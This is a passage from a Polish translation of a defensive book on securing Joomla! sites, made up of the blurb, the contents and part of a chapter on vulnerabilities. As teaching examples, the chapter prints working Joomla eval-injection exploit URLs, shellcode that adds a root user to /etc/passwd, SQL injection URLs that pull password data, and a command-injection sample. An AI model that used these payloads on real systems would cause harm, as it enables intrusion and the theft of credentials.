Joomla!

Zabezpieczanie
witryn
Autor: Tom Canavan
Tumaczenie: Roman Gryzowski, Tomasz Walczak
ISBN: 978-83-246-2197-2
Tytu oryginau: Joomla! Web Security
Format: 170230, stron: 248

Zabezpiecz stron opart o Joomla!

Na co naley zwrci uwag przy wyborze firmy hostingowej?
Jak wykorzysta potencja plikw .htaccess i php.ini?
Jak reagowa na ataki hakerw?
Nikomu nie trzeba jej przedstawia Joomla! to wiodcy system zarzdzania treci.
Wrd jej zalet warto wymieni atwo instalacji i konfiguracji, dostpno wielu
dodatkw oraz cen jest to system darmowy. Jednake z tej popularnoci wynika te
pewna zasadnicza wada. Mianowicie Joomla! jest akomym kskiem dla internetowych
wamywaczy.
Dziki tej ksice dowiesz si, jak zabezpieczy swoj stron, opart o ten system,
przed ich dziaaniem. Podrcznik w kompleksowy sposb opisuje wszystkie zagadnienia
zwizane z bezpieczestwem Joomla! poczwszy od wyboru firmy, na ktrej serwerach
umiecisz swoj stron, a skoczywszy na tworzeniu polityki reagowania na ataki.
Ponadto podczas lektury zdobdziesz ogrom wiedzy na temat dostpnych narzdzi,
metodologii atakw oraz konfiguracji za pomoc plikw .htaccess i php.ini. Wrd
poruszanych tematw znajdziesz rwnie te powicone logom serwera i wykorzystaniu
szyfrowanego kanau komunikacyjnego SSL. Ksika ta jest obowizkow lektur dla
wszystkich administratorw stron internetowych opartych o system Joomla! zarwno
tych maych, jak i korporacyjnych.
Hosting na co zwrci uwag
Wykorzystanie rodowiska testowego do prowadzenia bada nad bezpieczestwem
Dostpne narzdzia oraz ich przeznaczenie
Luki w systemie
Instalacja poprawek
Ataki typu wstrzyknicie kodu oraz RFI
Techniki wykorzystywane przez wamywaczy
Konfiguracja systemu za pomoc plikw .htaccess oraz php.ini
Logi serwera sposoby na zdobycie wiedzy o systemie
Wdraanie SSL
Zarzdzanie incydentami
Zapewnij bezpieczestwo Twojej witrynie!

Spis treci
O autorze

O redaktorze

11

Przedmowa

13

Rozdzia 1. Zaczynamy

17

Wprowadzenie
Powszechnie uywana terminologia
Wybr hostingu dostosowanego do potrzeb
Co to jest firma hostingowa?
Wybieranie firmy hostingowej
Pytania, jakie naley zada przyszemu dostawcy usug hostingowych
Pomieszczenia
O co zapyta dostawc hostingu w kwestiach bezpieczestwa?
Pytania dotyczce warunkw w pomieszczeniach
Monitorowanie i ochrona lokalizacji
Instalowanie poprawek a bezpieczestwo
Hosting wspdzielony
Hosting dedykowany
Planowanie instalacji Joomla!
Jakiemu celowi ma suy Twoja witryna?
Jedenacie krokw do udanej architektury witryny
Pobieranie systemu Joomla!
Ustawienia
.htaccess
Uprawnienia
Zarzdzanie uytkownikami
Typowe bdy
Ustanawianie parametrw bezpieczestwa
Podsumowanie

17
18
19
19
19
20
20
21
21
22
22
23
25
26
26
27
29
30
33
34
35
35
38
45

Spis treci

Rozdzia 2. Testowanie i rozwijanie witryny

Witaj w laboratorium!
rodowisko testowe
Jaki to ma zwizek z zabezpieczeniami?
Bdne koo aktualizowania
Tworzenie planu testw
Wykorzystanie rodowiska testowego w planowaniu dziaa na wypadek awarii
Tworzenie dobrej dokumentacji
Korzystanie z systemu zarzdzania tworzeniem oprogramowania
Raportowanie
Ravenswood Joomla! Server
Uruchamianie
Podsumowanie

Rozdzia 3. Narzdzia
Wprowadzenie
Narzdzia, narzdzia i jeszcze raz narzdzia
HISA
Joomla! Tools Suite with Services
Jak zdrowie?
Nmap narzdzie do mapowania sieci ze strony insecure.org
Wireshark
Metasploit zestaw narzdzi do testw penetracyjnych
Nessus skaner luk
Podsumowanie

Rozdzia 4. Luki

47
48
48
49
49
52
54
55
58
60
62
63
64

65
65
66
66
72
73
80
82
85
87
89

91

Wprowadzenie ................................................................................................................................. 91
Instalowanie poprawek jest nieodzowne ...................................................................................... 93
Czym jest luka? ................................................................................................................................ 94
Luki zwizane z uszkodzeniem zawartoci pamici ....................................................... 95
Wstrzyknicie kodu SQL ................................................................................................ 97
Ataki przez wstrzyknicie polece ................................................................................. 99
Dlaczego pojawiaj si luki? ....................................................................................... 100
Co mona zrobi, aby zapobiec lukom? ...................................................................... 100
Odmowa dostpu ....................................................................................................... 103
Niewaciwe formatowanie zmiennych i niebezpiecznych danych wejciowych ........ 103
Brak testw w zrnicowanym rodowisku ................................................................ 104
Testowanie w rnych wersjach baz SQL .................................................................... 104
Wspdziaanie z rozszerzeniami niezalenych producentw ......................................... 104
Uytkownicy kocowi .................................................................................................................... 105
Socjotechnika ............................................................................................................. 105
Nieregularne instalowanie poprawek i aktualizacji ..................................................... 106
Podsumowanie .............................................................................................................................. 107

Spis treci

Rozdzia 5. Anatomia atakw

Wprowadzenie
Wstrzyknicie kodu SQL
Testowanie odpornoci witryny na wstrzyknicie kodu SQL
Kilka metod zapobiegania wstrzykniciu kodu SQL
Metoda zapobiegania wstrzykniciu kodu SQL zalecana przez PHP.NET
Ataki RFI
Najprostszy atak
Co moemy zrobi, eby powstrzyma atak?
Zapobieganie atakom RFI
Podsumowanie

Rozdzia 6. Jak to robi li chopcy?

Obecne regulacje prawne
Namierzanie celu
Poznawanie celu
Narzdzia do wykrywania luk
Nessus
Nikto skaner luk o otwartym dostpie do kodu rdowego
Acunetix
Nmap
Wireshark
Ping Sweep
Firewalk
Angry IP Scanner
Cyfrowe graffiti a prawdziwe ataki
Wyszukiwanie celw ataku
Co moesz zrobi?
Przeciwdziaanie
Co zrobi, jeli firma hostingowa nie jest skonna do wsppracy?
Co zrobi, jeli kto wama si do mojej witryny i j oszpeci?
Co zrobi, jeli napastnik umieci na serwerze rootkita?
Sowo na zakoczenie
Podsumowanie

Rozdzia 7. Pliki php.ini i .htaccess

Plik .htaccess
Zmniejszanie transferu danych
Wyczanie sygnatury serwera
Zapobieganie dostpowi do pliku .htaccess
Zapobieganie dostpowi do jakiegokolwiek pliku
Zapobieganie dostpowi do plikw rnych typw
Zapobieganie nieuprawnionemu przegldaniu katalogw
Ukrywanie rozszerze skryptw
Ograniczanie dostpu do sieci LAN
Udostpnianie katalogw na podstawie adresu IP i (lub) domeny

109
110
110
114
114
115
116
118
118
122
123

125
126
127
128
131
131
132
132
133
134
134
134
135
137
144
144
145
146
146
147
147
148

149
150
151
151
151
151
152
152
153
153
153

Spis treci

Blokowanie dostpu i zezwalanie na dostp do domeny

na podstawie przedziau adresw IP
Blokowanie hotlinkingu i zwracanie materiaw zastpczych
Blokowanie robotw, programw typu site ripper, przegldarek
offline i innych szkodnikw
Pliki, katalogi i inne elementy chronione hasem
Aktywowanie trybu SSL za pomoc pliku .htaccess
Automatyczne ustawianie uprawnie do plikw rnych typw
Ograniczanie wielkoci plikw w celu ochrony witryny przed atakami
przez odmow usugi (DoS)
Niestandardowe strony bdw
Udostpnianie uniwersalnej strony bdu
Zapobieganie dostpowi w okrelonych godzinach
Przekierowywanie da z danym acuchem znakw pod okrelony adres
Wyczanie ustawienia magic_quotes_gpc na serwerach z obsug PHP
Plik php.ini
Czym jest plik php.ini?
Jak przebiega odczytywanie pliku php.ini?
Podsumowanie

Rozdzia 8. Pliki dziennika

Czym dokadnie s pliki dziennika?
Nauka czytania logw
A co z tym?
Kody stanu w HTTP 1.1
Analizowanie plikw dziennika
acuchy znakw z nazw agenta
Blokowanie przedziaw adresw IP z danego kraju
Skd pochodzi napastnik?
Konserwowanie plikw dziennika
Etapy konserwowania plikw dziennika
Narzdzia do przegldania plikw dziennika
BSQ-SiteStats
JoomlaWatch
AWStats
Podsumowanie

Rozdzia 9. SSL w witrynach opartych na Joomla!

Czym jest technologia SSL (TLS)?
Uywanie SSL do nawizywania zabezpieczonych sesji
Certyfikaty autentycznoci
Uzyskiwanie certyfikatw
Procedura wdraania SSL
SSL w systemie Joomla!
Kwestie zwizane z wydajnoci
Inne zasoby
Podsumowanie

154
154
155
157
160
160
161
161
162
162
162
163
164
164
164
166

167
168
169
170
172
175
176
177
177
178
179
180
180
181
181
182

183
184
185
186
187
188
188
190
191
191

Spis treci

Rozdzia 10. Zarzdzanie incydentami

Tworzenie polityki reagowania na incydenty
Tworzenie procedur na podstawie polityki reagowania na incydenty
Obsuga incydentu
Komunikacja z zewntrznymi jednostkami na temat incydentw
Okrelanie struktury zespou
Podsumowanie

Dodatek A Podrcznik zabezpiecze

Spis treci podrcznika zabezpiecze
Informacje oglne
Przygotowywanie pakietu narzdzi
Narzdzia do tworzenia kopii zapasowej
Lista kontrolna z obszaru pomocy
Codzienne operacje
Podstawowa lista kontrolna z obszaru bezpieczestwa
Narzdzia
Nmap
Telnet
FTP
Skanowanie pod ktem wirusw
JCheck
Zestaw narzdzi dla systemu Joomla!
Narzdzia dla uytkownikw Firefoksa
Porty
Pliki dziennika
Kody stanu serwera Apache
Format CLF
Informacje o kraju kody domen najwyszego poziomu
Lista krytycznych ustawie
Plik .htaccess
Plik php.ini
Oglne informacje na temat serwera Apache
Lista portw
Podsumowanie

Skorowidz

193
194
197
199
199
203
203

205
205
206
206
207
207
209
209
210
210
212
212
212
212
213
213
214
216
216
218
219
227
227
230
231
232
236

237

4
Luki
Luki istniej w kadym zbudowanym przez czowieka systemie, a oprogramowanie to technologia
w rodzaju czarnej skrzynki uytkownicy czsto nie maj wiedzy ani moliwoci potrzebnych
do wykrycia sabych punktw rozwizania. Nawet programici czasem nie posiadaj zasobw
niezbdnych do wyczerpujcego przetestowania systemu pod ktem luk.
Spoeczestwo staje si coraz bardziej zalene od systemw komputerowych, ktre steruj operacjami bankowymi, niezbdn infrastruktur (na przykad sieciami elektrycznymi), a nawet
Twoj opart na Joomla! witryn. Dlatego musisz zna odpowiedzi na ponisze pytania:
Q Czym s luki?
Q Dlaczego istniej?
Q Jak mona zapobiec ich powstawaniu?

Wprowadzenie
Czy czytae albo syszae kiedy opowiastk dla dzieci o Maej Czerwonej Kurce? Pewnego razu
Maa Czerwona Kurka znalaza ziarna pszenicy. Prosia rne zwierzta o pomoc przy sianiu
zboa, podlewaniu go, zbiorach i mieleniu mki na chleb. Wszystkie zwierzaki odmwiy, tumaczc si brakiem czasu. Byy po prostu zbyt zajte!
Kiedy Maa Czerwona Kurka upieka chleb dla siebie i swych kurczt, kade stworzenie z zagrody
poczuo jego zapach. Wszystkie zwierzta zbiegy si z przyjaznymi minami, aby uszczkn
co dla siebie. Kurka oczywicie przegonia je, poniewa nikt nie chcia pomc jej w pracy.
Zaczem od tej historyjki, poniewa wystpujce w niej postacie odpowiadaj rnym funkcjom
omawianym w dalszej czci rozdziau.

Joomla! Zabezpieczanie witryn

Pomyl o projektancie aplikacji, ktry pracuje niestrudzenie i prosi zaufanych klientw o udzia
w testach. Uytkownicy odmawiaj, ale pniej narzekaj na bdy, kiedy te si ujawni.
Moliwe, e firma udostpnia oprogramowanie, ale marketing jest w niej waniejszy ni staranne
testy nakierowane na usunicie luk. Jednak ostatecznie odpowiedzialno za usterki spada na
programist.
Gdy producent udostpnia poprawki, klienci, ktrzy powinni je zainstalowa, ale tego nie zrobili,
przypominaj zwierzta, dajce si atwo zaatakowa napastnikom. Nie zrobiy tego, czego
oczekiwaa od nich Kurka.
Czy pamitasz robaka o nazwie Slammer, ktry pojawi si kilka lat temu? Napastnicy wykorzystali luk w systemie MS-SQL, cho ju od pewnego czasu dostpna bya odpowiednia poprawka.
Robak przechodzi z serwera na serwer i w cigu kilku godzin rozprzestrzeni si po wiecie.
Klienci, ktrzy zainstalowali poprawki, nie ponieli szkd. Takie zachowanie, w rodzaju jestem
zbyt zajty, Czerwona Kurko (aby doda poprawk), spowodowao w wielu firmach niepotrzebne
i kosztowne przestoje w dziaaniu serwera. Oto oficjalny opis problemu przedstawiony przez
organizacj CERT:
Robak atakujcy komputery z systemem SQL Server to samodzielnie rozprzestrzeniajcy si szkodliwy kod,
ktry wykorzystuje luk opisan w dokumencie VU#484891 (CAN-2002-0649). Luka ta umoliwia uruchomienie na komputerze z systemem SQL Server dowolnego kodu w wyniku wykorzystania przepenienia
bufora stosu.
Kiedy robak zaatakuje maszyn, prbuje si rozprzestrzeni. W tym celu tworzy 376-bajtowe pakiety i przesya
je pod losowo wybrane adresy IP do portu 1434/udp. Jeli pakiet trafi do podatnej na atak maszyny,
ofiara zostanie zainfekowana i take zacznie rozprzestrzenia robaka. Obecna wersja robaka jedynie wykrywa
nowe serwery i nie zawiera innych instrukcji.
Dziaanie tego robaka mona atwo wykry ze wzgldu na obecno w sieci 376-bajtowych pakietw UDP.
Pochodz one z na pozr losowych adresw IP i s skierowane do portu 1434/udp.

Na szczcie wspomniany robak cho szkodliwy nie obejmowa niebezpiecznych instrukcji.

Gdyby administratorzy centrw danych przegldali poprawki dla kluczowych systemw (takich
jak MS-SQL) bezporednio po ich udostpnieniu, skutki dziaania Slammera byyby duo
mniejsze.
Wedug Microsoftu poprawka bya dostpna ju w lipcu 2002 roku. Jednak pojawienie si Slammera wywoao pandemi. Zapoznaj si z poniszym opisem.
Luk, ktr wykorzysta robak, Microsoft zlikwidowa w poprawce zabezpiecze z lipca 2002 roku i w dalszych uzupeniajcych poprawkach (ostatnia pojawia si w padzierniku 2002 roku). Ponadto ze wzgldu
na zaangaowanie w kwestie bezpieczestwa przy wdraaniu oprogramowania w ramach inicjatywy Trustworthy Computing ponownie udostpnilimy najnowsz poprawk zabezpiecze z doczonym programem
instalacyjnym, ktry pomaga administratorom systemw przyspieszy instalacj.

92

Rozdzia 4. Luki

Pojciem, ktre czsto pojawia si wraz ze sowem luka, jest eksploit. Wykrycie sabych punktw
przyciga zych chopcw, ktrzy chc wykorzysta luki w celu zaatakowania systemu.

Instalowanie poprawek jest nieodzowne

Nowszy przykad braku zabezpiecze to luka umoliwiajca ataki CSRF (ang. Cross-Site Request
Forgery) w systemach Joomla! 1.x i Joomla! 1.5. Warto tu wspomnie, e Joomla! to nie jedyna
aplikacja zaatakowana eksploitem wykorzystujcym t luk. Przyczyn problemu jest natura
dziaania sieci WWW. Istniej kody, ktre mog spowolni atak i w wielu przypadkach go zablokowa. W czasie, kiedy powstawaa ta ksika, pojawio si niedoskonae rozwizanie problemu
CSRF, jednak informacji o poprawce nie rozpowszechniano publicznie. Producenci oprogramowania nierzadko stosuj takie podejcie. Ze wzgldu na ograniczone zasoby musz koncentrowa
si na najwaniejszych, priorytetowych zadaniach. Dlatego to uytkownicy kocowi odpowiadaj
za zainstalowanie poprawki, kiedy si o niej dowiedz. Jeli producent systemu Joomla! udostpni
aktualizacj, a Ty jej nie dodasz, bdziesz ponosi odpowiedzialno za szkody. Jeeli jednak
twrcy aplikacji wiadomie zignoruj luk w zabezpieczeniach, to oni bd winni zaniedbania.
Jednak ostatecznie za bezpieczestwo odpowiada uytkownik.
Eksploit CSRF jest interesujcy, poniewa zwizany jest z atakami socjotechnicznymi. Oznacza
to, e jeli uytkownik nie bdzie wsppracowa z napastnikami, nikt nie bdzie mg wyrzdzi
mu szkody.
Wspdziaanie klienta umoliwia agresorom zaoenie w witrynie konta gwnego administratora.
Phil Taylor, powaany czonek spoecznoci zwizanej z Joomla!, zademonstrowa dziaanie
omawianego eksploita w kilka godzin od czasu jego ujawnienia. W tym czasie utworzy konto
gwnego administratora w jednej witrynie (ten test suy tylko jako ilustracja problemu, a nie
do przeprowadzenia ataku).
Dobra wiadomo jest taka, e wedug Phila Taylora (phil-taylor.com) problem mona atwo rozwiza przez zachowanie zdrowego rozsdku przez uytkownikw. Poniszy fragment pochodzi z artykuu ze strony http://blog.phil-taylor.com/2008/01/05/using-prisim-to-administrate-joomla-safer/
(wersja ze stycznia 2008 roku), ktry zawiera doskonay opis zagadnienia.
Ostatnio wiele si mwi o atakach CSRF w systemach Joomla! 1.0.13/1.5. CSRF to problem we wszystkich
aplikacjach sieciowych, a w wersjach Joomla! 1.0.14 i Joomla! 1.5 wzmocniono zabezpieczenia w tym
zakresie. Nie oznacza to jednak, e systemy te s w peni bezpieczne, poniewa w praktyce nie mona
zablokowa wszystkich atakw CSRF bez zakcenia pracy oprogramowania. Joomla!, podobnie jak
wikszo aplikacji sieciowych, ma jak najbardziej utrudnia wykorzystanie techniki CSRF do przejcia
witryn opartych na Joomla!.

Przytaczam te uwagi tylko jako akademickie rozwaania, poniewa problem zosta rozwizany
przed zakoczeniem prac nad t ksik.

93

Joomla! Zabezpieczanie witryn

Eksploity socjotechniczne to jedne z najbardziej niebezpiecznych sposobw wykorzystania luk.

Na blogu Phila znajdziesz te wskazwki, ktre pomog Ci zabezpieczy witryn przed tym podstpnym atakiem:
ZAWSZE klikaj przycisk Wyloguj w panelu administracyjnym Joomla!, kiedy skoczysz prac.
NIGDY nie odwiedzaj innych witryn, kiedy jeste zalogowany w panelu administracyjnym Joomla!.
Jeli zezwalasz uytkownikom na przesyanie i modyfikowanie elementw witryny przy uyciu komponentw niezalenych producentw, to w czasie, kiedy jeste zalogowany w panelu administracyjnym Joomla!, nie
przegldaj wasnego serwisu lub rb to w ograniczonym zakresie.
NIGDY nie klikaj odnonikw typu Aktualizuj komponent w komponentach niezalenych producentw.
NIGDY nie przegldaj forum, kiedy jeste zalogowany w panelu administracyjnym Joomla!.

Omawiana luka jest powana, jednak lektura blogu Phila Taylora pozwoli Ci atwo zapobiec jej
wykorzystaniu.
Wicej informacji znajdziesz w ciekawym artykule na temat CSRF:
http://shiflett.org/articles/cross-site-request-forgeries.
Zwr uwag na dat artykuu. Omawiany eksploit jest starszy ni Joomla!, co pokazuje, e ataki
CSRF nie s specyficzne dla tego systemu. W ostatnich latach problem dotkn nawet poczt
Gmail. Przedstawione porady znajduj zastosowanie przy korzystaniu z kadej aplikacji sieciowej
z poufnymi danymi (na przykad w systemach bankowoci internetowej).

Czym jest luka?

Oto definicja luki (ang. vulnerability) z Wikipedii:
W dziedzinie bezpieczestwa komputerw pojcie luka oznacza saby punkt w systemie,
ktry umoliwia napastnikom naruszenie integralnoci aplikacji. Luki mog by efektem
stosowania sabych hase, wystpienia bdw w oprogramowaniu, wstrzyknicia
kodu skryptu, wstrzyknicia kodu SQL, dziaania rootkita Blue Pill lub szkodliwego
oprogramowania. Niektre luki s teoretyczne, w przypadku innych znane s
przykadowe eksploity.
Struktura w jzyku programowania jest uznawana za luk, jeli jest podstawow przyczyn usterek w wielu programach.
Moesz si zastanawia, dlaczego w systemie pojawiy si sabe punkty i czy programici nie mogli
bardziej si postara. To uzasadnione pytania. Jednak zanim zaczniesz obwinia nieszczsnych,
przykutych do klawiatur programistw, przyjrzyj si kilku dobrze poznanym obszarom, w ktrych
mog wystpi luki.

94

Rozdzia 4. Luki

W Wikipedii mona znale kilka przyczyn problemw:

Q Bdy w zarzdzaniu hasami. Uytkownicy stosuj sabe hasa, ktre mona zama

metod ataku siowego. Klienci przechowuj hasa na komputerze w miejscu, do ktrego

program ma dostp. Uytkownicy stosuj te same hasa w wielu aplikacjach i witrynach.
Q Elementarne bdy w projekcie systemu operacyjnego. Producent systemu

operacyjnego decyduje si zastosowa nieoptymalne metody zarzdzania kontami

uytkownikw i programami. Na przykad w niektrych systemach kada aplikacja
i osoba ma domylnie peny dostp do wszystkich zasobw komputera. Ta wada
umoliwia wirusom i szkodliwemu oprogramowaniu wykonywanie polece w imieniu
administratora.
Q Bdy w oprogramowaniu. Programista pozostawia moliw do wykorzystania

usterk w programie. Bdy tego typu pozwalaj napastnikom na przykad pomin

proces sprawdzania uprawnie dostpu do danych lub wykona polecenia w systemie,
w ktrym dziaa dana aplikacja. Ponadto programista moe zapomnie o sprawdzaniu
rozmiaru buforw danych, ktre mog zosta przepenione, co prowadzi do uszkodzenia
zawartoci pamici na stosie lub stercie (moe to te spowodowa uruchomienie
na komputerze kodu przesanego przez napastnika).
Q Brak sprawdzania danych wejciowych od uytkownika. Programista zakada,

e wszystkie dane od uytkownika s bezpieczne. Programy, ktre nie sprawdzaj

takich danych, umoliwiaj bezporednie wykonanie polece lub instrukcji SQL
(s to ataki przez przepenienie bufora, wstrzyknicie kodu SQL i wprowadzenie
innych niesprawdzonych danych).
Luki wystpuj we wszystkich systemach operacyjnych, aplikacjach i platformach. W nastpnych
punktach opisuj techniczne aspekty wybranych sabych punktw.

Luki zwizane z uszkodzeniem zawartoci pamici

Niebezpieczne przepenienie bufora to prawdopodobnie najczciej wystpujca obecnie luka.
Jest tak powszechna, e mona j znale w niemal kadym systemie. Ilustruj to dalsze przykady.
Poniszy fragment to opis ujawnionej luki zwizanej z bdem przepenienia w systemie Joomla!
1.5 beta 2:
Podatne systemy:
Q

Joomla! wersja 1.5 beta 2

Odporne systemy:
Q

Joomla! wersja 1.0.13

Joomla! wersja 1.5 RC1

95

Joomla! Zabezpieczanie witryn

Opis luki
Ponisze skrypty z domylnej instalacji systemu Joomla! 1.5 beta 2 zawieraj
podatny na atak kod:
1. components/com_search/views/search/tmpl/default_results.php
Wiersz 12.: <?php eval ('echo "' . $this->result . '";'); ?>
2. templates/beez/html/com_search/search/default_results.php
Wiersz 25.: echo '<p>' . eval ('echo "' . $this->result . ' ";');
Warto parametru searchword jest przekazywana do podanego kodu z instrukcj
eval() i wykonywana. Napastnik moe po funkcji echo wstawi nowe
polecenie PHP, ktre posuy do uruchomienia instrukcji systemu
operacyjnego.
Aby pomin ograniczenie dugoci szukanego sowa do 20 znakw, do
okrelania polece systemu operacyjnego uywany jest nowy parametr
w daniu GET (zobacz przykadowy eksploit).

Oto przykadowy eksploit:

http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com_
search&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($_
GET[c]);%23&option=com_search&Itemid=1

W witrynie www.milw0rm.com znajduj si przykadowe instrukcje, ktre mona przesa

przez uszkodzenie zawartoci pamici. Jest to BARDZO stary (z lata 2000 roku) kod dla interpretera polece, dlatego go wybraem:
/*
* Linux/x86
*
* Dodaje wiersz "z::0::0:::\n" do /etc/passwd.
* Kod jest do stary i mona go dodatkowo zoptymalizowa.
*/
#include <stdio.h>
char c0de[] =
/* main: */
"\xeb\x29"
/* jmp callz
*/
/* start: */
"\x5e"
/* popl %esi
*/
"\x29\xc0"
/* subl %eax, %eax
*/
"\x88\x46\x0b"
/* movb %al, 0x0b(%esi) */
.
. [cz kodu usunito]
.
"\x29\xc0"
/* subl %eax, %eax
*/
"\x40"
/* incl %eax
*/
"\xcd\x80"
/* int $0x80
*/
/* callz: */

96

Rozdzia 4. Luki

"\xe8\xd2\xff\xff\xff"
/* call start
*/
/* DATA */
"/etc/passwd"
"\xff"
"z::0:0:::\n";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(c0de));
(*ret) = (int)c0de;
}

Ten eksploit dodaje uytkownika do opartego na procesorze Intel komputera, na ktrym dziaa
system Linux x86 (jest to typowa, powszechnie uywana platforma serwerowa). Ten prosty kod
wstawia skrypt typu shellcode za pomoc techniki uszkadzania pamici. Pozwala to napastnikowi
uruchomi w pamici niewielki program (w tym przypadku wystarczy 70 bajtw), ktry jeli
jego dziaanie zakoczy si powodzeniem dodaje uytkownika do systemu. Umoliwia to
pniejsze wykonanie dowolnych operacji.
W nastpnym punkcie omawiam inne rodzaje eksploitw. Pamitaj, e nie jest to wyczerpujca
lista, a jedynie przegld czsto spotykanych technik.

Wstrzyknicie kodu SQL

Jednym z najczciej spotykanych i niebezpiecznych atakw na witryny oparte na Joomla! jest
wstrzyknicie kodu SQL (ang. SQL injection). Istot tych atakw s nieprawidowo przefiltrowane
dane wejciowe przesyane na serwer SQL. Specjalne symbole tak zwane znaki ucieczki su
do przekazywania da (zapyta) do bazy danych SQL niezgodnie z zamiarami programisty.
Czasem umoliwia to zapisanie w bazie szkodliwych danych i powoduje ujawnienie wanych
informacji, na przykad hase.
Oto przykadowy atak przez wstrzyknicie kodu SQL opisany w witrynie www.milw0rm.com:
/etc/password:
http://[host]/activate.php?userName='/**/union/**/select/**/
1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*

Ten eksploit nie atakuje systemu Joomla!, ale inny CMS. Jeli w CMS dziaa z opcj magic_quotes
ustawion na off, przedstawiony eksploit pozwala napastnikowi zdoby hasa uytkownikw.
Aby uzyska identyfikatory uytkownikw, mona pobra nazwy i hasa uytkownikw z tabeli
mysql.user:
http://[host]/activate.php?userName='/**/union/**/select/**/
1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/
mysql.user/*

97

Joomla! Zabezpieczanie witryn

Omawiany eksploit wykorzystuje ponisz luk:

$userName = $_GET["userName"];
$code
= $_GET["activate"];
$sql = "SELECT activated FROM users WHERE username = '$userName' AND
activated = '$code'";

Jeli nie ustawisz opcji magic_quotes na ON, opisany eksploit pozwoli napastnikowi zama
system.
Przyczyn tej luki jest prosty bd brak waciwego filtrowania danych w okrelonej czci
systemu. W czasie pisania tego rozdziau przeprowadziem kilka atakw opartych na tej luce
na wasn witryn. Jednak opisany eksploit nie jest przeznaczony do wykorzystania sabych
punktw w Joomla!, dlatego prby nie przyniosy adnych efektw.
Twj egzemplarz systemu Joomla! moe by podatny na ataki, jeli korzystasz z rozszerzenia,
ktre niepoprawnie filtruje dane. Opisany eksploit jest skuteczny w witrynach, ktre nie sprawdzaj literaw znakowych podanych za pomoc znakw ucieczki. Takie literay s wstrzykiwane
do bazy danych w instrukcjach w jzyku SQL. Ponadto jeli dane od uytkownikw nie s cile
typizowane, system zgosi wyjtek (baza danych nie zrozumie instrukcji i przele komunikaty
o bdach), co spowoduje, e system DBMS wygeneruje informacje w niezamierzony sposb.
cisa typizacja oznacza, e w aplikacji obowizuj precyzyjne reguy dotyczce czenia
i uywania danych okrelonego typu. Stosowanie tej techniki jest zgodne z podejciem wielowarstwowej obrony.
Jednym z testw na sprawdzanie podatnoci aplikacji na wstrzyknicie kodu SQL jest przesanie
dowolnych danych wejciowych w celu okrelenia warunkw wystpienia bdu. Na przykad
sprbuj przesa w zapytaniu SQL poniszy kod:
Select * from users where password =' ' or 1=1;--

Wanie zadae pobrania kadego wiersza tabeli. Baza danych dojdzie do sekwencji -- i pominie dalszy kod. Jeli w plikach dziennika z instrukcjami z zapytaniami SQL znajdziesz dziwne
dania, oznacza to, e kto prbuje zaatakowa witryn.
Przetestowanie podatnoci na omawiane ataki jest proste. Wystarczy przesa zapytania SQL przy
uyciu rnych znakw specjalnych i obserwowa efekty.
Przez zastosowanie si do instrukcji zabezpieczania witryny moesz znacznie zmniejszy podatno na ataki ze strony opisanych eksploitw. Ponadto zawsze warto poszuka w witrynach dla
hakerw informacji o eksploitach powizanych z rozszerzeniem, ktrego uywasz.

98

Rozdzia 4. Luki

Ataki przez wstrzyknicie polece

Jeli jeste fanem serialu Star Trek, moe przypominasz sobie odcinek, w ktrym kapitan Kirk
spotka swego miertelnego wroga Khana. Przeciwnicy stanli naprzeciwko siebie, przy czym
statek Khana mia przewag nad Enterprise. Kirk poprosi Spocka o podanie kodw polece Relianta (tak nazw nosi statek skradziony przez Khana), a nastpnie wprowadzi sekwencj liczb
i rozkaza komputerowi Relianta wyczenie zabezpiecze. Kirk zastosowa w ten sposb atak
przez wstrzyknicie polecenia. Cho wydarzenia ze statku Enterprise s fikcyjne, ataki przez
wstrzyknicie polece s jak najbardziej realne. Wstrzyknicie instrukcji do systemu (na przykad
na serwer) sprawia, e niezawodno i wiarygodno danego komputera spadaj do zera.
Na stronie http://www.owasp.org/index.php/Command_Injection znajduje si bardzo dobra
definicja ataku przez wstrzyknicie polece:
Celem ataku przez wstrzyknicie polece jest wstawienie i wykonanie instrukcji okrelonych
przez napastnika za pomoc podatnej na ten atak aplikacji. W takich warunkach program, ktry
wykonuje niepodane polecenia systemowe, przypomina powok systemow, a napastnik moe
jej uywa jak uwierzytelniony uytkownik. Jednak instrukcje s uruchamiane z takimi samymi
uprawnieniami i w tym samym rodowisku, co dana aplikacja. Przyczyn atakw przez wstrzyknicie polece jest najczciej niedostateczna walidacja danych wejciowych, ktrymi napastnik
moe dodatkowo manipulowa (za pomoc formularzy, plikw cookie, nagwkw HTTP itd.).
Istnieje te inna odmiana omawianego ataku wstrzyknicie kodu. W tej specyficznej technice
napastnik dodaje wasny kod do istniejcego, przez co wzbogaca wbudowane funkcje aplikacji
i nie potrzebuje wykonywa polece systemowych. Wstrzyknity kod jest uruchamiany z tymi
samymi uprawnieniami i w tym samym rodowisku, co dany program.
Jeli uyjesz kodu w standardowy sposb, zobaczysz oczekiwane dane:
$ ./catWrapper Story.txt

Przykadowy atak
Jeli napastnik bdzie chcia Ci zaatakowa, moe doda na kocu wiersza rednik i dodatkow
instrukcj, co spowoduje wykonanie przez nakadk catWrapper polecenia ls oraz wywietlenie
zawartoci danego katalogu.
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt
unstosig.c
format.c
catWrapper*
useFree.c
trunc.c

doubFree.c
www*
strlen.c
misnull.c
commandinjection.c
writeWhatWhere.c

nullpointer.c
a.out*
useFree*
strlength.c
nodefault.c

99

Joomla! Zabezpieczanie witryn

Gdyby nakadka catWrapper miaa wyszy poziom uprawnie ni standardowy uytkownik, umoliwiaaby wykonywanie dowolnych polece z danego poziomu.

Dlaczego pojawiaj si luki?

Przyczyn powstawania usterek i luk jest kilka czynnikw. Najwaniejszy z nich to zoono.
Ponadto kod moe dziaa w nieoczekiwany sposb w interakcji z innymi fragmentami programu.
Za kadym razem, kiedy producent dodaje do pakietu oprogramowania nowe funkcje, w aplikacji
pojawia si wiele luk, ktrymi trzeba si zaj.
Inne przyczyny usterek to:
Q niewystarczajce testy i planowanie,
Q niewaciwa instalacja i konfiguracja serwera,
Q ze ustawienia zapory,
Q udostpnianie zbyt wielu informacji,
Q niewaciwe formatowanie zmiennych i niebezpiecznych danych wejciowych,
Q brak testw w zrnicowanym rodowisku,
Q interakcje z dodatkami niezalenych producentw,
Q socjotechnika (tak, to te problem),
